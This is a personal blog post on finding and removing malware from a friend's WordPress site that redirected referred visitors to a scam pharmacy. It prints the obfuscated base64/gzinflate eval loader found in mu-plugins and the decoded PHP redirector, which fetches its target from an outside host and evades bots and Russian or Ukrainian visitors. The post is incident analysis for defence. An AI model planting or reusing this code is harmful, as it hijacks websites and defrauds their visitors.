How I Detected and Removed Malware from a Wordpress Installation

This week a friend of mine reached out to me, telling me their website got "hacked", and asking if I could have a look and see if I can fix it. Of course they didn't got hacked, instead their Wordpress installation caught a malware. The only indication I got was that those redirects started about three weeks ago.

Reproduce the Issue

First step was visiting their website with developer tools open, trying to reproduce the issue. It didn't took me long to get redirected, I think the second link I clicked resulted in the scammer website being loaded.

screenshot showing the scammer website family-drugs.net

Not a surprise that family-drugs.net accepts Bitcoin, fraud is the only use case of cryptocurrencies1. The network tab wasn't showing any suspicious requests so I copied the request as cURL statement that resulted in the redirect. Then I ran the cURL request and, voila, the server responded with a 302 redirect. This let me rule out malicious Javascript as the culprit, since cURL is not evaluating it. To get a minimal example I started removing header arguments from the cURL statement until I ended up with:

$ curl -I -H 'referer: infected-website.de' https://infected-website.de/page` 
HTTP/1.1 302 Found
Date: Sun, 03 Apr 2022 16:37:56 GMT
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/7.4.28
Set-Cookie: sl_message=admin; expires=Thu, 01-Jan-2032 00:00:00 GMT; Max-Age=307524123; path=/
Location: https://family-drugs.net/
Content-Type: text/html; charset=UTF-8

Actually, it didn't matter which value the referer header had, it only had to be present. Also, they set a cookie for whatever reason.

Run the Wordpress Website Locally

We're left with only three candidates that can contain the malware, Apache, Wordpress or its database. Apache being the most unlikely of the three because the website was hosted on a professional hosting service and then a bunch of customers would have been affected as well. Anyhow, this could easily be disqualified by running the Wordpress installation locally. Docker compose is the obvious choice for this setup.

Before I could start with the docker-compose setup I needed to get a copy of the website files and a dump of their MySQL database. A database dump could be downloaded from the admin panel of the webhoster, it was 42373 lines of SQL and 13MiB in size. Getting a copy of the file tree was also easy since I had SSH access.

At first I tried to clone the website by using FTP, and there's a reason nobody is using this protocol anymore. Somehow random files ended up missing in my local copy and thus Wordpress was not starting, only showing some generic error message and no log message at all 😩. It took me more than an hour until I realized that something was missing.

My rescue was rsync --archive infected-website.de: ./infected-website, resulting in a whopping 18210 files consuming 1.3GiB of disk space 🙈.

Here's the docker-compose.yml I came up with:

version: "3.9"
    
services:
  db:
    # Note that there's no arm64v8 (Apple Silicon) image for mysql:5.7,
    # but for mysql/mysql-server:5.7 there is one¯\_(ツ)_/¯
    image: mysql/mysql-server:5.7
    restart: always
    volumes:
    # Import database dump.
      - ./infected-website.sql:/docker-entrypoint-initdb.d/dump.sql:ro
    environment:
    # Use the credentials that are defined in wp-config.php.
      MYSQL_DATABASE: infected-website
      MYSQL_USER: admin
      MYSQL_PASSWORD: this-is-a-secret
  wordpress:
    depends_on:
      - db
    image: wordpress:5.9.2
    volumes:
      - ./cloned-website/html:/var/www/html:ro
    ports:
      - "80:80"
    restart: always

In this setup MySQL is not exposed on localhost:3306, instead it can be accessed from the wordpress container through the db hostname. This means I needed to apply the following patch to wp-config.php:

-define('DB_HOST', 'localhost');
+define('DB_HOST', 'db');

Running the website locally was only a docker-compose up away. After opening localhost in my browser I got redirected to infected-website.de. Looks like I need to replace the domain with localhost in the SQL dump. A perfect task for good ol' sed:

$ sed -Ei '' 's/(http:|https:)?\/\/(www\.)?infected-website\.de/http:\/\/localhost/g' usr_web629_1.sq

Please note that I'm using macOS' sed here, but the same command should work on Linux machines if you remove the empty quotes that follow the -Ei flag.

Now I'm ready to run the site locally.

Investigation

I did the obvious at first and searched for occurrences of family-drugs.net in the website source files and the database dump. That wasn't very fruitful so I tried different encodings of the search string, e.g. base64, hex encoded, unicode escaped and so on2. Looking for the substring drugs in a variety of encodings did not help either, no hit in the search results.

Next thing I tried was to deactivate all the plugins through Wordpress' dashboard. After deactivating them I ran the cURL request again, but this time against localhost and got a redirect 😕.

$ curl -I -H 'referer: does-not-matter' localhost/page
HTTP/1.1 302 Found
Date: Sat, 09 Apr 2022 12:28:36 GMT
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/7.4.28
Set-Cookie: sl_message=admin; expires=Thu, 01-Jan-2032 00:00:00 GMT; Max-Age=307020684; path=/
Location: https://family-drugs.net/
Content-Type: text/html; charset=UTF-8

I continued with browsing through the SQL dump, looking for suspicious content, and I was shocked to see how much serialized PHP there is in a usual Wordpress database. However, none of this was malicious, just plugin data. I did the same for the .php files but there were just too many of them and I couldn't find anything malicious in there as well. In hindsight I should have searched for high-entropy strings with a tool like truffleHog.

I was running out of ideas, and so I decided to remove things until the redirect didn't occur anymore. In the database I began deleting tables, each time checking for the redirect. Eventually, I ended up with a mostly empty database where I also deleted most of wp_options but the redirect still happened. We can rule out the database now, that's for sure.

The next thing I did was to download a new Wordpress archive and replace the existing files with it. As you can already imagine, it didn't fix the issue, but this also meant that Wordpress itself was not the culprit.

What we're left with are the plugins, which was surprising to me since I deactivated them already and still saw the redirect happening. Let's take the sledgehammer and crush down all the plugins, or deleting them one-by-one to say it in a more cultivated manner. It was the last plugin I looked at, of course, that contained the malware.

The Malware

Below are the contents of /wp-content/mu-plugins/index.php, making no secret of their malicious nature.

<?php 

/**
 * arbitrary bother focus glorious household invade pursue triangle vertical.
 * acid bundle conservation guilty recreation simplify vacuum.
 * alcohol attitude comedy decline defect delay delicate enviroment exclaim explosive geography harmony junior manufacture navigation neglect recreation remote ridge ridid simplify volcano.
 * adequate aware debate estimate excursion herd illusion jewel nylon passion route ruin shrug sophisticated submerge vain vivid.
 * applause isolate nuclear optimistic transmit virus.
 * @package WordPress
 */

eval (gzinflate(base64_decode(
'xRnbbttG9jkB8g+0oAUpVLJsZ3fbxnVcRaYTt75VF7eFYRBjcmxNRXLYmZEsOwiw'
.'uw/7RwssCux+g/NHPWdISiRFSknQiyAfcW7nfht6/+VX+9EoevaUCsGFI2jEhWLh'
.'rbXV2H329GsWMkdSZZkjFfiO3iPNprll5lc9JiOf3K/fIBURahJVb/T5bXHx2dOb'
.'SegqxkPD5XzMqNV49vQtzhvwqQeAdiJ8Y88AJlUkX7Tb1yBA65qrTZcHbUG9TTVT'
.'5m6y3x3BVhdOOEBUWfPzjWSDXgJeeASL7qhpdIe947PzgdOzB8Pe6aDXOe0f2r2m'
.'ocSErj3U7x87F3bv6PDHcxsP3RBfrj/1xu4cLO2uow1S3umMungmh8r1uaTZ2XpI'
.'7xLlxMd352q73xnDbDBWLKDWVtOIv9v6u7P1fCdFwW4MiwaRurfqTvfs7Nsj+9KU'
.'vhNQKcktNa8aDeNtvBM/IExio+ympmESL2AhPCBdGLbNFD9+RpR4VFjmMXcJ2vmF'
.'YRqbc+Ybu4YHCGtOLT3zzqCglyzdUi6r2Syy+hG8fgq/mudU8/Cgn12fSGmAdzKh'
.'3flJvDwlwqj7JLydADe7mTlBb6igAoxWq2XnY/MuzUGo8QgWiBDk3qrdRS0ILRZu'
.'QrDXmkbt8ZfH/z/+7/E/7/9tvP/n+3+9/wcMf3n875zlORsFPGKCpyckv1FLQccK'
.'9mFUZJf4GDCI7AwidLQ0BLkUC+R7kin6l+cdJLEJlBpzd51nAMdxeQiHJq7CNJAo'
.'LWPauhox2XpJPE9zjgSsrB2S9VuqYh6qFkGFVUuolrI1RSUijVVhLZifmz4SbEoU'
.'XUhTODEX5smTvGsnBJh0IKtZy76crGfMoDNHwW0FVRMR5n2ygpJmTOsvFvY3pLiG'
.'HtgrdY4/kiyaO5nEEP7dCG8kiEDMiEsHHD8lGwdKc0FJh/vHcNJuf4i1222IQseb'
.'BFFW4N1lV/hgVj9SYQWODJ3M157O5JWC61aH1yJYyzIFymjVfSYRPcijuM/vICHU'
.'nb7dg5p9ab4ZDM6dTrdrQ0k+7py+HnZe21hKloRFVJGgt05AlDtyiO9bZtu6JK2H'
.'q7fbzS/eWfsvWotRY78BE7s/71mXW60vN68+azT221hvkJfkZ5lGRi1peUgzJ+TE'
.'AHoeGktzuX2VILncuSqWLp1MuaAE2iCriI5IKGLG3kujPm0sHyth4LIeXgET9amx'
.'j+CFsV1CjggJPWWRWNPon/UGzunwBLqjbpHNdxlLx8W+QvR5Hl6TZDO5bMkRyvQR'
.'lz1UyLTU2rHexxR63hloWlr1abPIY7kN47gs+nNR6MVjsj8fPR8ibS6TZgOgNBUu'
.'R3mxTq9PTeWi5XLgJ0ujEzRmmrJQLlpw3v9UGzBbAWjoadxN3Py7Gu1JhZxZ7QNo'
.'Ypck1ogK+1bIF2O0lGCBlU1uiLfRzOU7lHljL0nQf5rPaiPEbiYpEXCJKc3YcnKN'
.'LV28E4BPw1goo7UYxucbBgiVDj7YVytkWF9pknaylGsm8XZbqCw9G+6Rdq/scpKP'
.'tIr6VMtiqV01luVYzbBucasa6PhaUVoWe/Z3Q7s/cIa9I/Nqff5Nu9ZSxWykt7ac'
.'ZoYwcqDYng5KlZPU7LgALHurOR33R0Tou9xrzm99/XTxLQ8VGSs9OCQuvYbbnz1T'
.'VITEf8OU2SzB9CMJPTp7xRUeigcd14WrIrtmPlP3uZUTDpM0N3UA7YurDu7DFdj7'
.'rqA0lCOuckePAighcjG+YB7lheE51FYqVuA+gQaKLA69gjtgBuUhmTK8Ti1mvqfX'
.'AZFqJc5z4MsdUXeMu3Lc9qhkD9nZjndKl7RRgTpePIRb+SiLoksgpD2SmenDJdFn'
.'4TjD9gmFPDcmK5g+pXeZ/TgqoOgSRUA7Gd5DxaZMTOQq9RIxzgp4QYViWQVzccAD'
.'ot8mpNxHgky1oasdQmes/ohHWQnBkCHJechZqPjBq+K4c35UijuOhOsYwXzQ0obD'
.'KU0hIkKFVMjWIm46ngSq84kSzCeE+Zu9oZMwh2/fEjIQK5yH2gEZcVAqNo2N25Fj'
.'4xtKp7RcvWdByOxZ5EOxEyne7593nQviM48ornGAs3Z8lbj3iPNDSr0+pXO/hKmN'
.'Uuz2A+eBNhP+DfgEy4YiCdMn32zvpPyPIAPLhH5slnQATthXRFW4xym7DcimmODW'
.'V4R5ExlBvGq+8JRM8PeP+oPe0Q+xqkBTCfIbFnqJe5bgjgSfsYC5uPMsoiGL3SrF'
.'LwG/x4OEuD1LxVrs6NOHkARVPsgTJrqtgZEcHUYevwO3SDGFnEf3+ASRyiDyZlrf'
.'VLFShHEEXJCE+kH3PMFzTiIqjhnSyx9r5G6J+a5H535sewAJSFHeryQNEMMOaEVp'
.'aWawrG6AVjdBhc5huS/6xK4i/xKrqlLHt/GKemj+jJq+Q6CjWZtAa18bUPsIQ6BL'
.'i044OqB0dHjaGRHovDhC8BOCMQIfwQMCbX/tj1OdABDolBcg2Eawg+A5gr8i+BuC'
.'vyP4HMEXCL5EsGU2zYf7KZ9lXCLXYmjwEa976/z6J9BNSO/id62Z93L6GgDLmfcM'
.'kEeNdEq3Xht7tVrOI9J/Qezm3+buv/xq/1c='
)));
?>

No wonder I didn't get any results in my search since they deflated the base64 encoded strings. Never before have I seen such a malware in the wild so I was very curious to find out what was hiding in it. There's a very handy tool for such tasks called CyberChef.

Finally, after a couple of wasted hours, we could get rid of the malware by deleting the index.php. I also made sure that everything is up-to-date and reset all passwords. At least I thought at that moment that the website was clean. A few days later the malware reappeared 😕.

The malware installed itself inside /wp-content/mu-plugins/ which is the plugin directory of Health Check, an official Wordpress plugin3. Removing this folder fixed the issue and the malware did not came back, phew.

Also, we got an insight in the malware that seems to be of Russian or Ukrainian origin, because requesting with an UA or RU locale (-H 'Accept-Language: ua) disabled the malware!

 ?><?php
error_reporting(0);
@ini_set('html_errors','0');
@ini_set('display_errors','0');
@ini_set('display_startup_errors','0');
@ini_set('log_errors','0');

function cookie()
{

    $may_url = 'https://bing-bot.com/red.txt';
    $ch = curl_init($may_url );
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_HEADER, false);
    $html = curl_exec($ch);
    curl_close($ch);
    $new_url =  $html;

    $y2k = mktime(0, 0, 0, 1, 1, 2032);
    if (empty($_COOKIE['sl_message'])) {
        setcookie('sl_message', 'admin', $y2k, '/');
        header('Location: ' . $new_url); die("_");
    } else {
        if (empty($_COOKIE['ssl_message'])) {
            setcookie('ssl_message', 'admin', $y2k, '/');
            header('Location: ' . $new_url); die("_");
        }

    }
}

class redir
{
	
    var $language;
    var $referer = "";
    var $url = "";
    var $url_stop = array("wp-login.php", "конец строки");
    var $lang_stop = array("ru", "ua");
    var $redirekt = true;
    var $ok_str;
    var $stop_referal_str = array("=site%3A", ".ru");

    function __construct()
	
    {
        $this->add_stop_str();
        $this->get_refer();
        $this->get_url();
        $this->get_lang();
        $this->test_redirekt();

    }

    private function test_redirekt()
    {
		
        if ($this->is_bot()) {
            $this->redirekt = false;
            return;
        }
		
        if ($this->test_stop_lang()) {
            $this->redirekt = false;
            return;
        }

        if ($this->test_stop_str_referal()) {
            $this->redirekt = false;
            return;
        }

        if ($this->test_stop_url($this->url)) {
            $this->redirekt = false;
            return;
        }

        if (!$this->strpos_arr($this->ok_str, $this->referer)) {
            $this->redirekt = false;
//            return;
        }
		
//var_dump($this->url);
		
        if (!$this->strpos_arr($this->ok_str, $this->url)) {
            $this->redirekt = false;

        }
		  else{
            $this->redirekt = true;
        }
		
    }

    private function get_lang()
	
    {
        if (($list = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']))) {
            if (preg_match_all('/([a-z]{1,8}(?:-[a-z]{1,8})?)(?:;q=([0-9.]+))?/', $list, $list)) {
                $this->language = array_combine($list[1], $list[2]);
                foreach ($this->language as $n => $v)
                    $this->language[$n] = $v ? $v : 1;
                arsort($this->language, SORT_NUMERIC);
            }
        } else $this->language = array();
    }

    private function test_stop_lang()
    {
        foreach ($this->lang_stop as $v) {
            if (array_key_exists($v, $this->language)) {
                return true;
            }
        }
        return false;

    }

    private function test_stop_str_referal()
	
    {

        if ($this->strpos_arr($this->stop_referal_str, $this->referer)) {
            return true;
        }

        return false;

    }

    private function test_stop_url($url)
	
    {
        foreach ($this->url_stop as $v) {
            if ($this->test_end($url, $v)) {
                return true;
            }
        }
        return false;

    }
	
    private function strpos_arr($arr, $str)
	
    {
        foreach ($arr as $v) {
            if (strpos(trim(strtolower($str)), strtolower($v)) !== false) {
                return true;
            }
        }
        return false;

    }

    private function test_end($str, $search)
    {
        if (substr($str, strlen($str) - strlen($search)) == $search) {
            return true;
        }
        return false;
    }

    private function get_refer()
    {
        if (isset($_SERVER['HTTP_REFERER'])) {
            $this->referer = strtolower($_SERVER["HTTP_REFERER"]);
        }
    }

    private function get_url()
    {
        $this->url = strtolower($_SERVER['REQUEST_URI']);
    }

    private function is_bot()
    {
        if (!empty($_SERVER['HTTP_USER_AGENT'])) {
            $list = array(
                'vkShare', 'Google', 'VKontakte', 'FacebookExternalHit',
                'YandexBot', 'YandexAccessibilityBot', 'YandexMobileBot', 'YandexDirectDyn',
                'YandexScreenshotBot', 'YandexImages', 'YandexVideo', 'YandexVideoParser',
                'YandexMedia', 'YandexBlogs', 'YandexFavicons', 'YandexWebmaster',
                'YandexPagechecker', 'YandexImageResizer', 'YandexAdNet', 'YandexDirect',
                'YaDirectFetcher', 'YandexCalendar', 'YandexSitelinks', 'YandexMetrika',
                'YandexNews', 'YandexNewslinks', 'YandexCatalog', 'YandexAntivirus',
                'YandexMarket', 'YandexVertis', 'YandexForDomain', 'YandexSpravBot',
                'YandexSearchShop', 'YandexMedianaBot', 'YandexOntoDB', 'YandexOntoDBAPI',
                'Googlebot', 'Googlebot-Image', 'Mediapartners-Google', 'AdsBot-Google',
                'Mail.RU_Bot', 'bingbot', 'Accoona', 'ia_archiver', 'Ask Jeeves',
                'OmniExplorer_Bot', 'W3C_Validator', 'WebAlta', 'YahooFeedSeeker', 'Yahoo!',
                'Ezooms', '', 'Tourlentabot', 'MJ12bot', 'AhrefsBot', 'SearchBot', 'SiteStatus',
                'Nigma.ru', 'Baiduspider', 'Statsbot', 'SISTRIX', 'AcoonBot', 'findlinks',
                'proximic', 'OpenindexSpider', 'statdom.ru', 'Exabot', 'Spider', 'SeznamBot',
                'oBot', 'C-T bot', 'Updownerbot', 'Snoopy', 'heritrix', 'Yeti',
                'DomainVader', 'DCPbot', 'PaperLiBot'
            );

            foreach ($list as $botname) {
                if (stripos($_SERVER['HTTP_USER_AGENT'], $botname) !== false) {
                    return true;
                }
            }
        }

        return false;
    }

    private function add_stop_str()
    {
        $this->ok_str = array(
            'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0','zyvox'
        );
    }

}

if (empty($_COOKIE['ssl_message'])) {
    $obj = new redir();

    if ($obj->redirekt and $obj->referer!="") {
        cookie();
    }
}

?><?

Summary

Having auto-updates turned on in Wordpress won't keep you safe. Any additional Wordpress plugin increases your risk of being vulnerable to Malware and other attacks.

This incident just undermined my presumption that Wordpress is inherently insecure and is not a good choice for small business and personal websites. Owning a Wordpress based website makes you a system administrator, if you like it or not. Building websites is not my profession, so I can't give any recommendations based on personal experience. If someone would ask me to build them a website for their small business I would reach for some Jamstack solution, like Netlify which provides a CMS but renders out static files.

Searching for the terms wordpress remove malware is no help at all. Most of the results are just scam or they advertise shady "malware scanner" plugins that at best do nothing and only cost you money.


  1. I don't care about your opinion on cryptocurrencies. It's a waste of energy and thanks to this 💩 technology we now see people idiots promoting web3 as being all the rage. ↩︎

  2. There is an incredibly handy tool called CyberChef for applying chains of encodings and decodings to an input string. ↩︎

  3. I need to file a GitHub issue so they can look for the actual security vulnerability. I filed an issue↩︎